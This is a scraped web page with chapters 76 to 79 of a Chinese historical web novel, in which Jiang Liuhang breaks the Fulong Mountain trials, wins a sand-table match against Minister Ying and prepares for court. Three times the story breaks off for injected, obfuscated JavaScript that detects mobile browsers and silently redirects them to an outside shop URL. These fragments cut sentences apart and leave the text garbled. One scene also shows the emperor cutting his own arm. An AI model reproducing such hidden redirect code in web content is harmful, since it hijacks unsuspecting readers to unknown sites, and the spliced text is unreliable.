姜六航毫不在意,扬声再问:“此关设立三载,无人能破。今日,你们可愿随我,做这第一功?他日,你们也可昂首挺胸,对子孙、对同袍,拍着胸膛言道:‘伏龙山第二关,首破者中有我!’你们,可有此胆魄?” 火光熊熊,映亮女子眼中燃烧的自信,仿佛胜利在望。一股无形的力量感染了军士们,应答声陡然拔高,带上了激昂:“有!!” 罗都尉愕然看着眼前此景。 姜大姑娘,这是在做战前动员? “今日辛劳诸位,过关之后,我请罗都尉为诸位添置新军衣一套!” 军士们精神一振,声浪如潮:“多谢姜大姑娘!” 姜六航转向罗都尉:“我们这就上山,罗都尉你开始计时吧。” 罗都尉正惊异于姜大姑娘送礼送到了军士们的心坎儿上,闻言回神,应道:“好,祝姜大姑娘马到成功。” 姜六航扬眉:“借你吉言。” 76. 第 76 章 伏虎山。 崖上,万名军士屏息凝神,死死盯着下方蜿蜒山道。 一个时辰过去,毫无动静。 “看来不会走这边了。” “定是去了唐将军那条路。” “上次小裴国公也是……” “嗡嗡嗡——”异响声传来,迅速汇聚成一片令人头皮发麻的轰鸣。 “什么声音?” “蜜蜂?哪来的?!” 黑压压的蜂群如乌云罩顶,瞬间笼罩山崖,猝不及防间,许多军士被蛰中,忍不住发出痛呼。 带队将领毛参将反应还算快,一面喝令军士脱下外衫包头蒙脸,一面急声命令斥候:“速查蜂群来源!看是否敌袭!” 斥候刚冲出几步,浓烈到几乎令人窒息的烟雾借着风势,滚滚而来。刺鼻的气味直冲口鼻,军士们被刺激得泪水横流,视线模糊一片,原本严整的阵型出现了骚动和混乱。 “杀——!” 黑暗中,骤然亮起无数火把,震耳欲聋的喊杀声如同平地惊雷,头缠黑巾、戴着面具的军士们从阴影中跃出,挥舞着裹着茅草涂满石灰的兵器,凶狠地扑向乱作一团的守军。 毛参将瞳孔骤缩,急向火把来处望去,只见火光点点,粗略估算,至少五六千之众。 姜大姑娘想干什么? 不速速闯关,反而在此强攻?此路前方乃是断崖,根本行不通。 难道想全歼守军再下去通关?简直痴人说梦! 在他几个转念间,两方已经短兵相接,金铁交鸣声、喊杀声响彻山谷。 黑巾军士们戴着防毒面具,浓烟对他们影响不大,而且他们大约佩戴有驱蚊虫的药剂,那些蜜蜂对他们视而不见,只追着另一方的军士蛰咬。 双方竟战了个势均力敌。 但毛参将毕竟是沙场老将,最初的慌乱过后,迅速稳住心神。 守军只是被打了个措手不及,等缓过这口气,凭借绝对兵力优势,定能稳住阵脚。更何况,他们还有援兵。 待两军合拢,黑巾军必遭重创。 保存两千兵力?休想! “发信号!传令!缠住他们!杀!!”毛参将嘶声大喊。 “杀!!”守军被将领的吼叫激起了凶性,顶着蜂蛰和浓烟,迎击而上。 黑巾军也爆发出震天喊声:“杀!!” 刀光剑影,战况瞬间白热化。 毛参将振臂大呼:“援兵马上就到,给我拖死他们!” “嗤——!” 随着他的喊声,一线刺目白光冲天而起,撕裂夜幕。 光线传到距离此处不远的树林。 彭参将神色一凛。白光笔直向上,表示黑巾军全部去了那里。 “所有人,随我去支援!” 埋伏于此的军士们齐声应诺,往光线来处急驰而去。 稍远处的山脊上,唐云也在仰头望着那白光,旁边军士问道:“唐将军,我们要去支援吗?” 唐云摆手:“不必,两万兵马足以应付,我们守好这里。” 山脚下,罗都尉望着白光的方向,摇了摇头。 姜姑娘怎会选了这条路? 也罢,选哪条结局都一样。 再远处,十几里外,武成带着军士,往伏龙山急驰而来。 忽地,她于马背上抬头。 一闪而过的白色光亮映入她眼底。 —— 山崖之上,厮杀正酣,石灰点染的“伤亡者”不断退出。 时间流逝。 终于—— “援兵来了!”守军爆发出震天的欢呼,士气刹时飙升至顶点。胜利的天平,在这一刻彻底倾斜。 黑巾军开始且战且退,沿途抛洒铁蒺藜,减缓守军追击速度。 “追!咬住他们!歼其主力!”毛参将和刚刚赶到的彭参将齐声大喝,挥军急追。 毛参将冲在最前,忽见前方一名黑巾军仓皇扔下一支火把。 定睛一看,那军士手上还有一支火把。 他原先竟拿着两支火把! 毛参将心头猛地一跳,往那人周边看去,数名黑巾军都在丢弃多余火把。 后背冷汗瞬时渗出。 上当了! 黑巾军,并未全数在此。 先前对战之时,他已隐约觉得不对,但一来有蜜蜂和浓烟干扰,二来战况紧张,竟没深想。 “彭参将!”毛参将嘶声大喝,目眦欲裂,“我们中计了!” 急忙赶到的彭参将也看到了那些慌忙扔掉多余火把、急速退走的黑巾军,同样如遭雷击。 两人目光在火光中交汇,同时脱口而出:“调虎离山?” 毛参将急问:“你那路可还留有人?” 彭参将顿足:“你传信号主力都在这里,我……我全军来援了!”他负责的那条路,此刻空门大开。 毛参将狠狠一拳砸在自己腿上。 真丢人啊! 两个沙场老将,竟被一个失了记忆的女子耍得团团转! “快!回防!”两人嘶吼着,带着军士们发疯般向另一条山道冲去。 一路紧赶慢赶,终于赶到另一条路时,却见路口空空荡荡,杳无人迹。两人心里凉了一大截,继续发足狂奔。顺着山路,翻过山头,又跑了一段,他们才见到歇在一块空地的黑巾军。 数千黑巾军士围坐着一堆堆篝火,烤着猎到的野味,肉香四溢,谈笑风生,衣甲整齐光鲜。 反观他们这边,个个灰头土脸,被蜂蛰出的红包又肿又亮,被烟熏得满面乌黑,衣袍被荆棘挂得破破烂烂,气喘吁吁,狼狈不堪。 “哟,来啦?”有黑巾军士笑嘻嘻招呼,“等你们半天了。” 两位参将脸上火辣辣的,羞愤得几欲吐血。 场地中央,姜六航正用匕首尖挑着一块烤得焦香的野鸡肉,闻声朝他们望过来,目光在两人脸上转了一圈。 毛参将总觉得,女子在自己脸上停留的时间稍久,且那眼中,若有深意。 是在笑话自己吧? 他羞愧难当,恨不得就地挖个洞钻进去。 “第二关过了。第三关在哪?烦请告知,我想赶在天亮前,把第三关过了。”女子语音轻快。 一瞬间,两万多人的场地上,死寂无声。 所有目光都聚焦于女子身上。 火光跳跃在她自信飞扬的眉眼间,耀眼得令人不敢逼视。 听清姜六航说话的人,一面觉得她太过狂妄,一面又觉得,也许……她真能过第三关? 姜家三人则默契对视,心中齐念:妹妹/姐姐/大姑姑对皇宫的执念,当真非同一般啊。 “第、第三关题目在山脚,”毛参将声音艰涩,“我这就发信号,姜大姑娘下山,自有专人接待。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17014685|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “呲!呲!呲!” 三朵赤红之花,再次于黎明前的夜空中轰然绽放。 昭告世人,伏龙山第二关,告破! “唐将军!”军士声音中满是震惊,“关、关卡被破了!” 唐云猛地抬头,漫天红光映亮了他眼中无尽的惊诧,以及难以置信的茫然。 怎么可能?! 两万军士,据险而守,拦不住六千人? 山脚下,罗都尉猛地一掌拍在身旁一棵大树上,震得枝叶“簌簌”作响:“好!好一个姜大姑娘!竟真叫她闯过去了!莫非,这世上真有看了兵书就能运用自如的兵家奇才?” 他忽地想到姜大姑娘站在石头上给军士做动员的样子,颇有衡王的英姿。 难道天佑大夏,再赐一百世难出的帅才? 与此同时,武成策马奔到营门口,翻身下马。她刚欲抬步,身形却猛地顿住,霍然抬头,望向夜空中绽放的红花。 直到红花散尽,她才大步流星继续朝里走去,一边吩咐身边人:“闯关者一到,即刻带来我处,抽取第三关题目。” 再稍远处,巡夜的刘都尉和军士们驻足,呆呆地看着红花绽开,再慢慢消失。 “刘都尉,那一万两银票,是不是保不住了?” 静默了片刻,一个军士干巴巴回道:“不会吧?” “不会。”几个声音立刻跟上,仿佛要说服自己,“还有第三关。” “当年小裴国公也差点过了第二关,可听说,第三关才是最难的。” 他们一句句说着,渐渐觉得,那第三关,姜大姑娘是无论如何也闯不过去的。 刘都尉还在仰望天空,眼中复杂:“若姜大姑娘真能连破三关,大夏得一堪比衡王的帅才,那一万两银子,舍了又何妨?” 军士们立刻炸了锅。 “怎能与衡王比?!纵使她过了三关,也比不过衡王。” “正是!衡王那般人物,千百年也难出一个。” “不过,若是姜大姑娘带兵能有衡王七分本事,不要那银子,让我天天洗衣,我也心甘情愿。” “我也甘愿。” —— 伏龙山红花升起的第一时间,京城内一直关注的人们就发现了。 小裴国公府、应尚书府、勇毅伯府、刘将军府……许多府邸深夜亮起灯盏,人影穿梭,低语议论声如湖上涟漪,一圈圈荡开。 武节伯府。 沈以贵猛地站起,“呸!”一声吐出口中的果核,死死盯着天际的那片红,双拳紧握,骨节发出咯咯轻响,胸膛剧烈起伏:“是将军!一定是将军!除了将军,天下还有谁,能如此干脆利落地闯过第二关?” 一旁打盹的随从被惊醒,见伯爷神情激动,嘴里喃喃低语,茫然望着他,正要询问,沈以贵却突然朝门口冲去。 “伯爷你去哪里?”随从连忙站起,追在他后面。 “去伏龙山!” “伯爷,现在没开城门,出不去!” 沈以贵已牵了马,翻身上去,扬手一鞭。 “我去城门口等着!”顺着风飘来一句,“今儿该我当值,你去皇宫,替我告假,让冯统领早做安排。” 随从追了几步,转眼间,马儿驮着伯爷跑得没了影,他只得停下脚步。 在沈以贵冲出府门的同时,冯简打开书柜机关,走进了地下通道。 77. 第 77 章 密室内,秦信正立在桌前。 柔和珠光盈室,不似烛火刺目。 桌案上,一幅画卷墨迹半干,画的正是此间陈设。 只是多了一人。 画中将军坐在床沿,半靠床头,闲闲地摆弄着一把长弓。 将军应是才沐浴过,乌黑的长发湿漉漉地披散肩头,颊边沾着几滴水珠。身上只松松垮垮套着一件月白寝衣,袖口滑落至肘间,露出一截小臂。 秦信提笔,蘸了朱砂,在画中人左腕上方,细致地点上一颗红痣。 笔锋下移,又缓缓勾勒出将军赤裸的双足。足弓优美,足趾圆润,一只随意踏在冰冷的地面,另一只漫不经心地叠压其上。 画完后,他凝神端详片刻,眼中掠过一丝满意,将画卷小心挂于墙上。 三面墙壁,层层叠叠,挂满了将军的画像,或笑,或怒,或扬鞭策马,或凝眸沉思。 秦信手指悬于画前,犹豫着,最终还是没有落在画上。隔着空气,指尖极轻、极缓地,描摹着画中人的眉峰、眼睫、唇线…… 不知过了多久,他偶一抬眼。 画中无数个将军仿佛活了过来,对他笑,对他扬手,对他低语…… 心口猝然如遭万锤重击。 冷汗浸透额发,他按住胸口,踉跄扑至床边,颤抖的手探入枕下,摸索出一件黑色夜行衣,将脸深深埋入衣襟,深深吸气。 脸颊蹭到衣裳上的线头。 当年,他拿来衣裳后,用针线缝上了肩头和袖口的划口。只是技艺生疏,线头外露,脸触着时,有毛糙的摩擦感。 半晌,秦信抬头,额头上冷汗密布,眸中隐隐现出赤色。 为何,心里的疼痛分毫未减? 自从得知六航魂魄出现,满怀欢喜,却又被兜头泼下一盆冷水后,衣裳就不管用了。 忽然,他眸光一厉,卷起左臂衣袖,露出小臂。他抽出匕首,刀锋抵上皮肤。 割下去。 皮开肉绽的锐痛涌上来,心口就没那么疼了。 有敲门声传来,但他不愿理会。 手腕轻动。 刀锋刺破皮肤,一点殷红迅速渗出。 “皇上!”一声惊骇欲绝的呼喊自门口响起。 冯简几乎是扑进来的,他扑通一声跪倒在地,声音都变了调:“皇上,万万不可!皇上龙体贵重,岂可如此自伤?” 秦信没看他一眼,刀口仍然抵着皮肤,没有要罢手的意思。 殷红扩大,刺人眼球。 冯简简直魂飞魄散,突然想起来意,忙道:“皇上,伏龙山有人已闯过两关!” 空气粘稠紧绷,过了半响,皇上嘶哑的声音响起:“……什么?” 冯简如闻天伦,急切地道:“皇上,一个半时辰前,有人闯过伏龙山第一关,刚才又传来信号,第二关也闯过了!” 秦信握着匕首的手缓缓放下。 冯简心中一片劫后余生,一时对这位闯关者的升起无限感激。 消息来得太及时了。 可是,转念一想,他的心又沉甸甸地坠下。 今日是侥幸打断了,可往后呢? 皇上一旦起念,有第一次,就会有第二次。 下一次,又该如何阻止? —— 京城因伏龙山连破两关而喧动之时,姜家四人已经下了山,被带到一座帐篷。他们意外地发现,等在帐篷里面接待他们的人是武成。 姜守和武成在和州老家时就认识,姜持、姜元从前也见过武成几面,这时互相见礼。 姜守向武成介绍:“武统领,这是我大妹妹。” 武成看向女子:“姜大姑娘好本事!” 得遇故人,姜六航视线忍不住在她脸上转了好几圈,谦虚道:“武统领过奖。” 那双清澈杏眸中蕴含的感情太过复杂厚重,武成的心脏猛然一跳,一种难以言喻的亲切和熟悉感觉涌上来。 仿佛站在面前的并非初次见面的丞相千金,而是一个久未相见的至交好友,从心底生出冲动,想要亲近这姑娘。 理智告诉她,她与姜大姑娘素未谋面。可是,这种在无数次生死边缘淬炼出的直觉,从未出过错。 武成压下心绪,锐利眼神定在面前女子身上,仔细打量。 那目光像刀,要把人剖开看个清楚。 落在身上,激起阵阵战栗。 姜六航暗自后悔。 怎么就一下没控制住,露了些情绪呢? 明明知道,久历生死的战将有多敏锐。 其实只有四五息,姜六航却感觉过了很久,终于,那打量的目光收了回去,她暗暗长吁一口气,捏紧手指,在心中警告自己:很快,可能见到更多的故人,定要时时谨慎,绷紧心弦。稍微松懈,即有暴露的风险。 “姜大姑娘现在就闯第三关吗?” 姜六航:“嗯!” 武成取出一个紫檀木盒,用钥匙打开。 盒内静静躺着两封密封的信函,其上,压着一张写有字迹的素笺。 武成拿起那张素笺,目光扫过,面上露出一点意外,将素笺递向姜六航:“是皇上亲笔。” 姜六航拿着纸笺,姜守、姜持凑过来,姜元人矮瞧不见,正自着急,姜六航体贴地放低手。 四人一齐往纸上看去。 那上面写着,第三道关卡是与人沙盘对阵,三局两胜即过关。 题目平常,可是那对阵之人却不平常。 盒子里有两封信,里面分别写有应匡和武成的姓名,闯关之人择其一,与之对阵。 “这,这关卡……”姜守倒抽一口凉气,后面的话硬生生憋了回去,脸上写满了“这怎么可能!”的震惊。 这是出的什么题目?简直是存心不让任何人过关! 应匡、武成,当世两大名将,三局之中能侥幸胜他们一局,都足以名扬天下,何况两局? 天下有这样的人吗?嗯……衡王可以——但衡王不在了。 若是旁人出此题,姜守必要直言其荒谬。但纸上是皇上亲笔,他只能把满腹的质疑咽回肚里。 大妹妹这关,绝无可能闯过了。 进不去皇宫,大妹妹该多么失望。前面做了那么多努力,连闯两关,却被最后一关挡住…… 姜守忧心忡忡地朝姜六航看去,果然,大妹妹眉头紧锁,神色是从未有过的凝重。先前的两关,即使面对三万雄兵,大妹妹也带着几分游刃有余的从容,不是现在这样子。 如姜守所想,此刻,姜六航心中确实非常没底气。 从以前她和应匡、武成对局来看,三局两胜,她有七成把握。但现在难的是,三人的作战风格互相之间都非常熟悉,她怎么在故人眼皮底下,不露丝毫破绽地赢下?每一个排兵布阵的微小习惯,都可能成为暴露的引线。 这一刻,兄妹心意相通,姜六航发出了和姜守同样的吐槽:大哥这是出的什么题目! 真能闯过这三关,还当什么五品官?该直接封为一品大将军,执掌帅印才对! 武成将两封信函平放于桌面:“姜大姑娘,请取一封。” 姜六航目光在两封信之间来回逡巡,恨不能穿透那层薄纸,看清里面的名字。 应匡、武成都是一样的难对付,但相较而言,她的作战风格与武成更为贴近,模仿武成容易些。所以,最好是抽到应匡。 神佛保佑,应匡、应匡、应匡……心中默念,姜六航拿了一封。 武成拆开。 姜六航的心提到了嗓子眼,目光死死盯着那张纸。 “是应尚书。”武成把纸上的名字展示给四人看。 姜六航长吁一口气,还好还好。 应匡此刻不在伏龙山,无法立即对局。 姜守略一思忖,和姜六航商量道:“大妹妹,我们先回庄子,你若是累了,路上可以在马车上歇息。明天我们赶回家,好好休整一番,养足精神再去兵部寻应尚书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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裴佑也大步流星走近,上下打量着沈以贵,眼中带着几分惊奇,对他笑道:“我还以为我是最性急的,不想还有沈伯爷在前。” 前些日子沈以贵虽振奋起来,但一下子转变这样大,如今竟有了凑热闹的兴致,还是出乎裴佑的意料。 “我也才到一会儿。”沈以贵对裴佑疑惑的视线恍如未觉,朝两人抱拳,“应尚书,裴国公,你们都是去伏龙山吗?” 两人同声应道:“是啊。” 裴佑凑到应匡身边,压低声音问:“应尚书可知,第三关是什么?” “我也不知。”应匡摇头,“题目是皇上御笔亲题,由冯统领送到伏龙山封存。是什么,除了皇上,大概只有冯统领知晓。而且皇上可能是担心题目泄露,在你闯关之后,特意交代我和武统领,不得再去尝试。” 他低声道:“不过冯统领和我说过,第三关,比第二关更难。” 裴佑:“这样啊?也不知那人得过不?” 沈以贵在一旁,忍不住插话:“肯定闯得过……” 话一出口,忽觉不妥,尤其见应匡和裴佑都转头看着自己,最后一个字硬生生拐了个弯,带上了迟疑,“吧?” 应匡和裴佑神情狐疑,沉默地盯着他。 “咳,我、我瞎猜的。”沈以贵摸摸头,讪讪笑道。 “以贵!”就在沈以贵被两位大将虎视眈眈盯得有些招架不住时,一声洪亮的大喝传来。 却是勇毅伯石进来了。 骏马转瞬即至,沈以贵一个箭步上前,紧紧握住刚下马的石进的手:“石头,你来了。” 石进:“……”以贵是不是太热情了些? 不过,以贵这样精神,他看着真是欢喜。 以前都是沈以贵八卦,他当听众,偶尔附和几句,这时他心里高兴,和应匡、裴佑见过礼后,主动挑起话题:“闯关的人也不知是谁?不知是不是我们认识的人?” 应匡、裴佑都摇头:“我们认识的人里,没有能闯过伏龙山两关的。” 沈以贵在一旁,嘴唇动了动,忍住没出声。 说话之间,陆陆续续又有人赶来,无一例外,都是要赶去伏龙山的。 人们三三两两聚在一起,热烈地议论着。 天蒙蒙亮时,城门打开,等候多时的人们立刻涌出城门,朝着伏龙山方向策马扬鞭而去。 78. 第 78 章 伏龙山营地,军士们已经开始晨练。他们看上去和往日一般无二,训练认真,动作到位,然而,一股无形的躁动气息在悄然弥漫。 他们嗡嗡低语,频频向姜大姑娘所在营帐投去目光。 所有人都在焦急等待着即将到来的第三关。 “唉,可惜姜大姑娘要去兵部和应尚书对局,我们看不到。”有军士遗憾道。 “不知对局结果会如何?” “第三关,姜大姑娘过不了。” “我倒觉得,不见得。” 姜六航昨晚强迫自己放下杂念,安安心心地睡觉,以期养精蓄锐,以最佳状态迎战应匡。 此时,她睡得正熟,对这些悄悄的议论毫不知情,更不知一大群人,包括她将要与之对局的应匡,正往这里赶来。 天大亮时,姜六航才起身,和姜守、姜持、姜元一起用了些军中的热粥面饼。 往外走时,武成跟在旁边,走出帐篷几十步仍然没有返回的意思。 姜守很感动她的热情:“无统领军务繁忙,不必送了。” 武成:“……我正好也要回京城。” 姜守:“……”他脸上掠过一丝尴尬,很快恢复,欣然道,“那我们正好可以同行。” 一行人刚走出军营,准备登车启程,前方传来一阵喧哗与马蹄声。 众人循声望去,只见一大群人,或乘骏马,或坐马车,急驰过来。当先的几人,赫然是应匡、裴佑、沈以贵、石进…… 还未近前,一片乱糟糟的叫嚷声传来。 “武统领,破两关的是谁?” “在闯第三关吗?” 马匹驰到营门口急停,几人目光如注,视线从姜家四人身上一扫而过。 虽有些奇怪姜侍郎等人为何在此,但此时无暇顾及,只简单点头致意,随即牢牢盯住武成。 “武统领,破关的人呢?” “这位就是破了两关的姜大姑娘。”武成侧身示意。 刹时,众人的目光一起转到姜六航脸上,纷纷露出不可置信的表情。 场上出现了片刻的安静。 最后是应匡先打破寂静,他抚着长须,欣慰道:“姜大姑娘一夜连破伏龙山两关,好本事啊!” 姜六航谦虚道:“侥幸,凭了几分运气。” “只凭运气可过不了关,姜大姑娘,日后还要向你讨教。”裴佑朗声笑道。 姜六航干脆利落地应下:“随时奉陪!” 裴佑闻言,脸上笑容扩大。 这位大姑娘很合她眼缘,让她莫名觉得亲切,颇有相见恨晚之感。 武成把这些人依次介绍给姜六航。 “这位是兵部应尚书。” “这位是裴国公。” 姜六航一一见礼,两人回礼。 紧接着到了沈以贵。 “这位是沈伯爷,任御林军右卫将军。” 姜六航抱拳:“沈伯爷,幸会。” 话音落下半晌没有回音,沈以贵只直愣愣地盯着面前的人,在众人都讶异地看过来时,他才猛然回神,调动脸部肌肉,挤出了一个比哭还难看的笑容:“姜大姑娘,幸会。” 姜六航捏了捏手指。 沈以贵是怎么了?一副失魂落魄,受到沉重打击的样子。 “姜大姑娘这是准备去第三关?在何处?题目是什么?”裴佑迫不及待的问话打断了她的思绪。 “正准备回城闯第三关。”姜六航向众人解释了一番。 “和我对局?”应匡有些意外,“如此,不必去兵部了,就在此地,请武统领、裴国公、沈伯爷、石伯爷、严将军、刘将军见证。姜大姑娘,你看如何?” “正有此意。”姜六航点头,侧身示意营内,“应尚书,请。” 众人往里走去。 随着他们走过,消息迅速传开,霎时间,营内响起一片欢呼。 沈以贵和石进落在最后。 人群簇拥着将要对局的两人,已走出十几步远,沈以贵仍如脚下生根般站在原地。他握紧剑柄,身子僵硬得像块石头。 “以贵?”石进忧心忡忡地看着他,低声唤道。 作为曾亲密无间的同伴,他早已发现沈以贵的突然低落,心中惴惴不安。 “没事。”沈以贵用力抹了一把脸,声音沙哑,“走吧。” —— 金殿之上,早朝已开。秦信坐于龙椅,目光扫过下方。 “应尚书呢?” 群臣目光齐刷刷投向百官之首——姜丞相。 “皇上,应尚书今日有些不适,派人来告了假。”姜子循出列禀道。 “裴国公呢?” 裴祥光侧首,斜眼瞟向姜子循。 皇上口中的裴国公并不是他。裴家两个国公,世人常以大、小裴国公区分,但在称呼时若要区分,一般叫他“裴尚书”,而叫裴佑“裴国公”。 “裴国公今日晨起头疼,派人来告了假。” “严将军呢?” “严将军旧伤复发。” “刘将军呢?又是哪里不舒服?” “刘将军不慎误食,肠胃不适。” “……” 群臣在下面互相交换着眼色,空气中弥漫着一丝怪异气氛。 太不像话了! 缺一个两个、三个四个说得过去,缺这样一大片! 而且,就不能编些其它的理由吗?怎么都要往身体上做文章?一听就是托词。也不知皇上会否大发雷霆。 秦信将众人的神色尽收眼底,心中了然。 他转头吩咐一旁侍立的冯简:“接到伏龙山的消息,让沈将军即刻来报。” 冯简脸上掠过一丝心虚,躬身道:“皇上,沈将军偶感风寒,已与人调换了班次,今日在勤政殿外当值的,是李队长。” 秦信:“……” 他未再追问,转而议起朝政。殿中群臣皆暗自松了口气。 伏龙山的消息来得比预计中快。 早朝还没散,武成派来的军士到了,秦信当即命他上殿,问:“闯关的是谁?” 大家都好奇,一齐竖起耳朵。 “回皇上,是姜丞相之女——姜恒。” 军士的声音响亮,在大殿里回荡。 唰! 所有目光瞬间聚到姜子循身上。 姜子循:“……”女儿这是铁了心要进皇宫啊! 散朝之后,秦信起身离座,往后殿走去,一边吩咐内侍宣姜丞相到勤政殿,打算问问他女儿的情况。 内侍一路小跑追出大殿,直追到走在最前头的大臣,却不见姜丞相身影。 明明才出殿,怎么跑得这么快,一下就不见了呢? 内侍急得鼻尖冒汗,到处问着,迟非晚过来告诉他:“姜丞相家中有急事要处理,刚刚托我给他告假,先走了。” —— 姜子循快马加鞭赶到伏龙山,毫不意外地见到了早朝缺席的众多同僚。 众 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17023289|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人聚在一间大帐篷里,静悄悄的,见他到来,纷纷含笑拱手施礼。 “姜丞相。”有人指着帐篷中间垂下的厚重布幔,低声道:“应尚书和姜大姑娘在里面对局,怕惊扰到他们,我们都在外面等待。里面观战的,除了姜侍郎、姜二姑娘、姜小公子,只有几位见证人。” 姜子循:“战况如何?第几局了?” “第三局。”那人道,“第一局应尚书胜了,第二局姜大姑娘胜了。” “什么?”姜子循大吃一惊,饶是他自诩历经风浪,早已练就泰山崩于前而色不变的本事,此刻也不禁张大嘴,结巴着道:“胜、胜了?” “是啊,姜大姑娘胜了第二局。” 众人满面兴奋,你一言我一语地告诉他。 “第一局姜大姑娘输了,输得很惨,但第二局,精彩绝伦!” “是啊,谁能想到,姜大姑娘第二局一改颓势,开局便攻势凌厉迅猛,几支奇兵穿插切割,硬生生在应尚书的铜墙铁壁上撕开了口子!” “应尚书都惊住了,沙盘上的小旗插了又拔,拔了又插,我们外面听战报的心都揪紧了。” “最终姜大姑娘胜了,险胜。” “中间休整时,应尚书说,大姑娘的用兵之道,既有几分武统领的风格,又隐隐透着点衡王的影子。” “姜大姑娘说,她恍惚记起,对衡王和武统领极为仰慕,曾将他们指挥过的所有战役,反反复复钻研了无数遍,不知不觉就学了些。” “应尚书说,姜大姑娘把两种作战风格揉合在一起,却融合得不是很好,所以虽然胜了,却胜得很艰难。还说,姜姑娘若是专注一种,研究到极致,胜过他会轻松得多。” “应尚书说,姜大姑娘在兵事上的天赋之高,是衡王之下第一人。” 姜子循听得直发愣,嘴巴张了又合,一时竟说不出话来。 衡王之下第一人?这评价未免太高了。 “应尚书谬赞,衡王如天上耀日,小女哪敢相比?不过学得了衡王的一点皮毛而已。”姜子循正色道。 就在这时,里面突然爆发出一阵惊呼,紧接着是应匡一声中气十足的喝彩:“好!这一手置之死地而后生!主动放弃粮道,诱我大军深入,再以奇兵断我归路,妙!” 外间的众人顿时都安静下来,目光炯炯地盯着那隔开的布幔。 没过多久,布幔被掀起。 武成当先走了出来,目光扫过众人,朗声宣布:“第三局,姜大姑娘胜!三局两胜,第三关——过!” “哗——!” 惊叹声、议论声轰然炸开。 “姜大姑娘,请问第三局用了何妙策?” “应尚书,您是从哪一步应对失措?” “可否请两位复盘?让我等学习一二!” “各位!”姜六航拱手,提高声音,“侥幸得胜,实为应尚书手下留情。我要赶紧准备明日上朝事宜,就不奉陪了,改日再叙!” 众人:“……” 明日就上朝?这么急的吗? 皇上都还没给你安排职位,朝服都还未做啊! 姜家父子女三人齐齐扶额。 姜元瞄了瞄三人,也煞有介事地把手放到额头上。 武成看着姜六航那副“谁敢拦我上朝”的架势,眉头微挑,眼中满是探究的意味。 这位姜大姑娘从未见过她和衡王,只凭一些战役记载,就能学得别人战术的精髓,可能吗?就是衡王那样的天赋,也很难吧? 79. 第 79 章 从伏龙山回来的当晚,丞相府内灯火通明。 姜六航身着青色五品朝服,黑色官帽顶端的蓝宝石折射出细碎光芒,胸前的织金熊罴足踏祥云。衣角处有两朵小巧金梅,那是女官特有的标识。 她在灯下挺直脊背,缓缓转了一圈。胸前悬挂的朝珠随着她的动作轻轻晃动。 指尖抚过蟒纹,一股滚烫热流在姜六航胸腔里冲撞。 官袍! 这是她和同伴们浴血奋战建立的大夏的官袍! 三年前,她穿过大夏的王袍,可只有自己一人……和一个系统欣赏。 明天,她能把这身官袍穿到金殿上去,让所有人都看到! “好看吗?威武吗?”她挑眉问。 姜持:“好看极了!” 姜元:“威武,像大将军!” 王院长替女儿正了正官帽,满意地道:“很合身。也是巧,青将军来京述职,她和你身形相近,高矮差不多,正好做了一套新官服,还没上身,你爹就先借来了。” “谢谢爹!”姜六航真诚道谢。 若不是姜大人今天去皇宫请皇上给她安排职位,又到处奔波办理各种手续,最后还借来官服,她根本不可能明天就上朝。 “不用谢。”姜子循笑着叮嘱:“早些歇息,明早随着我和你哥哥一同去上朝。” 姜六航重重点头:“嗯!” 明天散朝之后,就可以去寻天心草了! 众人正要各自回房间,姜六航忽然想起一事,开口叫住他们:“等等。”她拉过姜守并肩而立,神色异常认真:“我和哥哥长得像吗?” “像!”众人异口同声。 “那眼睛呢?”她追问,目光紧紧锁住家人,心弦绷紧,“眼睛像不像?” 众人虽不明所以,仍肯定道:“像,一模一样。” 姜六航紧绷的肩膀松了松。 如此,大哥即便觉得眼熟,也只会联想到姜守,而非……衡王。 可是—— 当年某次裴佑随口说起,她和姜参军眼型相似,大哥朝她看了一眼,摇头道:“哪里像了?完全不同。” 忆起这句话,姜六航隐隐不安。 转而又安慰自己,纵是刻入骨髓,仅凭一双眼、一张嘴、一只手认出,也绝不可能。这样的事,只在小说中发生。 —— 翌日,天还没亮,姜六航被丫鬟叫起,穿衣洗漱后,乘车往皇宫去。 车里小几上摆放着糕点饮品,上车之时,手里还被塞了几个热腾腾的包子。 姜六航掀帘望去,父亲与兄长策马在马车两侧,一手控着缰绳,一手拿着包子吃。天光朦胧,晨风卷起他们的袍角。 “爹、哥哥,进车里吃吧,当心灌了风。”姜六航扬声道。 “无妨,习惯了。”姜子循道,“恒儿你要是困就躺下歇歇。” 姜守也道:“大妹妹顾好自己,不必担心我们。” 很快到了指定下马下车的地点,姜六航甫一下车,立时成了目光焦点,各种或光明正大,或隐晦的打量、审视视线落在身上。 她听见嗡嗡的窃窃低语,如闷在锅里煮沸的水。 “那就是姜恒。” “闯三关。” “三局两胜。” “……” 与姜家父子交好的大臣纷纷上前。 “恭喜姜丞相,令媛天赋卓绝,前程无量!” “下官可要向姜丞相讨教讨教教育子女的方法,为何把子女个个教的这般出色?” 姜子循把这些人一个个的介绍给女儿。 “这位是迟尚书。” “这位是赵御史。” “这位是孙侍郎。” “……” 裴祥光下轿时,就见到那边如众星捧月一般,围拥着姜家三人。 